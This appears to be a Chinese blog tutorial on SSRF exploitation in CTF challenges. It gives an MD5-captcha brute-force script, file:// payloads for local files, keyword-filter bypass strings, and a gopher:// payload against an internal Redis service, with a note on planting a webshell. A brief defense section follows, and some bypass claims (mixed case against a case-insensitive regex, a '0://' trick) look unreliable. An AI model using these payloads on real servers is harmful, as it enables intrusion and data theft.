当前位置: 首页 > news >正文

[CTF] 从零到一:SSRF漏洞利用与绕过实战

1. SSRF漏洞初探:从零开始理解攻击面

第一次接触SSRF(Server-Side Request Forgery)漏洞时,我盯着这个缩写看了半天——服务器端请求伪造?听起来像是服务器在帮黑客干活。后来在实际渗透测试中踩过几次坑才明白,这确实是让服务器"叛变"的神奇漏洞。

简单来说,SSRF就是利用服务端发起请求的功能,让服务器变成我们的"跳板"。比如一个正常的网站功能是输入URL帮你抓取网页内容,如果没做好防护,我们就能让服务器访问内网系统,甚至读取本地文件。去年某电商平台就因为这个漏洞导致用户数据泄露,攻击者通过图片处理接口读取到了数据库凭证。

在CTF比赛中,SSRF题目通常会设置几个关键障碍:

  • 验证码机制:像我们案例中的MD5碰撞验证
  • 协议限制:可能只允许http/https协议
  • 关键词过滤:过滤flag、proc等敏感路径
  • 内网隔离:靶机无法直接访问外网

理解这些限制,才能找到突破点。我刚开始做这类题目时,经常卡在验证码爆破环节,后来发现用Python的hashlib库写爆破脚本其实比想象中简单。

2. 实战第一步:破解MD5验证码

看到题目中的验证码要求substr(md5(captcha), -6, 6) == "0d5913"时,新手可能会懵。其实这就是让我们找到一个字符串,其MD5值的最后6位等于指定值。这种设计在CTF中很常见,目的是防止自动化攻击。

我优化过的爆破脚本长这样:

import hashlib import itertools import string def crack_md5_suffix(target_suffix, length=6): chars = string.digits + string.ascii_letters for candidate in itertools.product(chars, repeat=length): candidate = ''.join(candidate) md5_hash = hashlib.md5(candidate.encode()).hexdigest() if md5_hash[-6:] == target_suffix: return candidate return None # 使用示例 captcha = crack_md5_suffix("0d5913") print(f"爆破结果: {captcha}")

这个脚本有几个优化点:

  1. 限定字符范围(数字+字母)提升效率
  2. 使用itertools.product生成组合
  3. 可调整的字符串长度参数

实测在普通笔记本上,6位纯数字的碰撞通常能在10秒内找到。如果题目要求更复杂的字符组合,可以考虑上多线程或者分布式爆破。

3. 突破协议限制:file协议的妙用

拿到验证码后,真正的SSRF利用才开始。题目提示"本靶机不能访问外网",这反而给了我们提示——重点要放在对内网和本地文件系统的访问上。

最直接的利用方式是使用file://协议读取系统文件:

payload = { "url": "file:///etc/passwd", "captcha": captcha } response = requests.post(target_url, data=payload)

但实战中会遇到各种限制:

  1. 协议白名单:只允许http/https
  2. URL校验:检查是否包含内网IP
  3. 特殊字符过滤:过滤斜杠、点号等

这时候就需要一些技巧:

  • 尝试不同协议:dict://,gopher://,ftp://
  • 使用IP编码:127.0.0.12130706433(十进制)或0x7f000001(十六进制)
  • 利用URL解析特性:http://localhost@127.0.0.1

我在一次比赛中遇到只允许http协议的情况,最后用http://localtest.me这个指向127.0.0.1的域名成功绕过。

4. 绕过关键词过滤的艺术

读取到/etc/passwd只是开始,真正的flag通常藏在/flag/root/flag.txt这类路径。但题目代码中明显有过滤:

if (preg_match('/flag|proc|log/i', $url)) { die("hacker"); }

这时候就需要各种编码和混淆技巧。我常用的方法有:

1. URL编码绕过

"file:///%66%6C%61%67" # flag的URL编码

2. 多重编码

"file:///%2566%256C%2561%2567" # 双重编码

3. 路径混淆

"file:///var/www/../flag" "file:///f\x6cag" # 十六进制表示

4. 参数污染

"file:///etc/passwd?../../flag" "file:///etc/passwd%23/../../flag"

5. 大小写变异

"file:///FlAg" # 某些正则不区分大小写

最有趣的是有次比赛我用了file:///proc/self/cwd/../flag绕过,因为题目过滤了/proc/但没过滤/proc/self

5. 高级技巧:利用协议特性深入内网

当简单的文件读取不能满足时,我们需要更深入地利用SSRF。Gopher协议就是个强大工具,可以构造任意TCP流量。

比如攻击内网Redis服务:

gopher_payload = "_*1\r\n$4\r\nkeys\r\n$1\r\n*\r\n" encoded_payload = quote(gopher_payload) url = f"gopher://127.0.0.1:6379/_{encoded_payload}"

我曾经用这个方法在CTF中成功获取了内网Redis中的flag。具体步骤:

  1. 用SSRF扫描内网开放端口
  2. 识别出Redis服务
  3. 构造Gopher协议payload
  4. 通过config set dirconfig set dbfilename写入webshell

需要注意的是,不同服务对协议的处理方式不同。比如MySQL的协议就有握手过程,直接发查询会失败。这时候需要先模拟完整的握手流程。

6. 防御措施与实战建议

站在开发者角度,防御SSRF需要多层防护:

  1. 输入校验

    • 严格限制协议类型(禁用file、gopher等危险协议)
    • 校验URL格式和域名白名单
  2. 网络层防护

    location / { deny 127.0.0.1; deny 10.0.0.0/8; deny 192.168.0.0/16; }
  3. 应用层防护

    • 使用DNS重绑定防护
    • 设置请求超时和大小限制

对CTF选手来说,我的实战建议是:

  • 准备常用payload清单
  • 编写自动化测试脚本
  • 注意观察错误信息
  • 尝试非常规协议和编码方式

有次比赛我卡了3小时,最后发现用0://协议能绕过所有过滤。这种偏门技巧平时要多积累。

http://www.jsqmd.com/news/506678/

相关文章:

  • 终极指南:gitsome命令行工具未来功能预测与社区热门需求解析
  • 突破硬件限制:老旧Mac焕发新生的OpenCore Legacy Patcher全攻略
  • 2026年中频炉厂家推荐:金属热处理产线升级高性价比厂家及用户口碑分析 - 品牌推荐
  • Symfony Routing终极指南:RouterInterface与UrlGeneratorInterface深度解析
  • 终极指南:如何用Fuzzywuzzy与消息队列实现异步字符串匹配任务
  • YOLO-v8.3应用场景:智能监控、自动驾驶等5大场景实战
  • 2025-2026年中频炉厂家推荐:大型铸造厂连续生产口碑设备与真实反馈汇总 - 品牌推荐
  • Scientist监控告警指南:实验异常与结果不匹配的实时通知
  • 如何“手搓”一个量子真随机数芯片(二):从原理图到封装实战
  • 终极React错误处理指南:如何用react-error-boundary构建健壮应用
  • mPLUG-Owl3-2B部署教程:CentOS 7离线环境部署方案(含依赖包离线打包脚本)
  • 探讨新疆阿克苏地区职业学校性价比,新疆万通学校费用多少钱 - mypinpai
  • Inkscape激光雕刻插件安装指南:从G代码生成到Candle验证全流程
  • PaddleOCR 2.10.0 + Python 3.8.20 保姆级安装避坑指南(附MuMu模拟器连接)
  • 保姆级教程:在RK3588上用QuickRun搞定YOLOv5多模型并发推理(附性能调优数据)
  • 2026年聊聊沧州服务周到的电厂杂项厂家,怎么收费 - 工业品网
  • CoreUI-Free-Bootstrap-Admin-Template终极安全审计指南:10个必查漏洞扫描与修复技巧
  • 2024-2026年房产继承律师推荐:跨地域多继承人房产案资深律师团队对比 - 品牌推荐
  • 实战派嵌入式开发板:ESP32-C3/S3工业级原型平台
  • 深聊2026年灵活应变的电厂杂项厂家,靠谱的有哪些 - 工业品牌热点
  • Windows电脑端抢票神器Bypass分流抢票软件保姆级使用教程(含12306账号绑定指南)
  • 20252820 2025-2026-2 《网络攻防实践》第1次作业
  • PyQt新手必看:Fluent Widgets vs PyQtGraph,哪个更适合你的第一个GUI项目?
  • DQN实战:用Python+gym攻克自动驾驶决策难题
  • 20252815 2025-2026-2 《网络攻防实践》第2周作业
  • 如何用PureLayout打造动态物理引擎界面:iOS布局的终极指南
  • 2025-2026年房产继承律师推荐:跨地域房产继承诉讼高胜诉率律师团队对比 - 品牌推荐
  • Dijkstra算法实战:用Python手把手教你解决最短路径问题(附完整代码)
  • Quake III Arena材质动画终极指南:序列帧与Procedural动画实现详解
  • 终极指南:如何使用Secretive扩展API为第三方应用提供安全密钥访问接口